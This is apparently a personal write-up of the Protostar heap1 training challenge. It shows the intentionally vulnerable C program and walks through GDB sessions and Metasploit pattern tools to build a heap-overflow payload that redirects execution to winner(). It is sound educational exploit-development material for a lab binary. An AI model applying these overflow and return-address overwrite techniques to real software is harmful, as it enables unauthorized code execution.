This challenge was different for me. The previous heap challenge was easy to pretend it was just a simple stack overflow. This one worked very different, and brought some different challenges with it.
You first start out with the following code:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
It’s quite easy to see where the heap overflow would occur. The code is allocating 8 bytes of space for the “name” field in memory. However, it’s never checking if the arguments are over 8 bytes long.
After tinkering for a bit, I found that if you passed strings that were too long, you could get strcpy to try overwriting other memory spaces than it was supposed to. GDB would fail on the lines of strcpy with weird addresses. So I started there.
First, I figured I needed to know the offset for the first argument, to know which exact byte it was using as a copy destination. Just like in stack overflows, I used the Metasploit Framework to generate a unique string:
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 250
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
I then fed that string into the first argument, and passed a test value of “BBBBBBBB” as the second argument.
user@protostar:/opt/protostar/bin$ gdb ./heap1 --quiet
Reading symbols from /opt/protostar/bin/heap1...done.
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A BBBBBBBB
Starting program: /opt/protostar/bin/heap1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A BBBBBBBB
Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x37614136 <Address 0x37614136 out of bounds>,
src=0xbffff99e "BBBBBBBB") at strcpy.c:40
40 strcpy.c: No such file or directory.
in strcpy.c
I used the Metasploit Framework again to get me the offset using the value in the strcpy dest field.
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x37614136
20
So what I had learned here, is if I overflowed the “name” field of the struct with 20 bytes instead of 8, I could then control the destination of the copy for the second strcpy command. It would copy whatever the second argument was, into any memory space I wanted. But I needed to control flow of the program to get “winner()” to execute. Somehow I needed to get the address of “winner()” into the EIP. My thought on that, was that since when you call a program or function, it puts the return address in the stack, that maybe I could overwrite that return address, and instead of exiting gracefully (because it was the main function), it would put my address into the EIP and run it. The first step with that was finding the location of that return address in the stack.
I added a breakpoint to the main function, so I could get the initial memory values once inside that function.
user@protostar:/opt/protostar/bin$ gdb ./heap1 --quiet
Reading symbols from /opt/protostar/bin/heap1...done.
(gdb) break main
Breakpoint 1 at 0x80484c2: file heap1/heap1.c, line 23.
I then ran the program with dummy data, which made me hit my breakpoint.
(gdb) run asdf asdf
Starting program: /opt/protostar/bin/heap1 asdf asdf
Breakpoint 1, main (argc=3, argv=0xbffff864) at heap1/heap1.c:23
23 heap1/heap1.c: No such file or directory.
in heap1/heap1.c
From this point, I wanted to look at all the registers, but focus in on the esp and ebp.
(gdb) i r
eax 0xbffff864 -1073743772
ecx 0x7825cdc2 2015743426
edx 0x3 3
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff790 0xbffff790
ebp 0xbffff7b8 0xbffff7b8
esi 0x0 0
edi 0x0 0
eip 0x80484c2 0x80484c2 <main+9>
eflags 0x200286 [ PF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
The important parts here, are that the top of the stack is at 0xbffff790 and the bottom at 0xbffff7b8. So I pulled up all the memory inbetween those two addresses. I expected to see 0x00000000 at the end, to signify that it was the end of the function. And in the addresses before that, one would be the return address.
(gdb) x/10x $esp
0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048580 0xbffff7b8
0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804858b 0xb7fd7ff4
0xbffff7b0: 0x08048580 0x00000000
For now, I removed my original breakpoint, so that execution wouldn’t get paused.
(gdb) delete 1
I played around with the different addresses in this 0xbffff790-0xbffff7b8 range, and found the address 0xbffff7ac to work out.
(gdb) run $(perl -e 'print "A"x20 . "\xac\xf7\xff\xbf" . " " . "\xEF\xBE\xAD\xDE"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap1 $(perl -e 'print "A"x20 . "\xac\xf7\xff\xbf" . " " . "\xEF\xBE\xAD\xDE"')
and that's a wrap folks!
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
So it appears that it wasn’t the byte right before the 0x00000000, but was actually 2 bytes before it. I was now controlling the EIP. The last step would be to find the address of the winner() function, to get it called.
(gdb) print winner
$1 = {void (void)} 0x8048494 <winner>
This was fairly trivial to do. So I built up the string with the proper return address and winner() address:
(gdb) run $(perl -e 'print "A"x20 . "\xac\xf7\xff\xbf" . " " . "\x94\x84\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap1 $(perl -e 'print "A"x20 . "\xac\xf7\xff\xbf" . " " . "\x94\x84\x04\x08"')
and that's a wrap folks!
and we have a winner @ 1326098464
Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
It looks like it did execute winner() successfully. It may not have ended the program properly, but we got our execution. Just to make sure that it’d work outside of gdb, I tried it again on the direct program.
user@protostar:/opt/protostar/bin$ ./heap1 $(perl -e 'print "A"x20 . "\xac\xf7\xff\xbf" . " " . "\x94\x84\x04\x08"')
and we have a winner @ 1326098505
Segmentation fault
There you have it. The execution was changed to execute where originally not intended.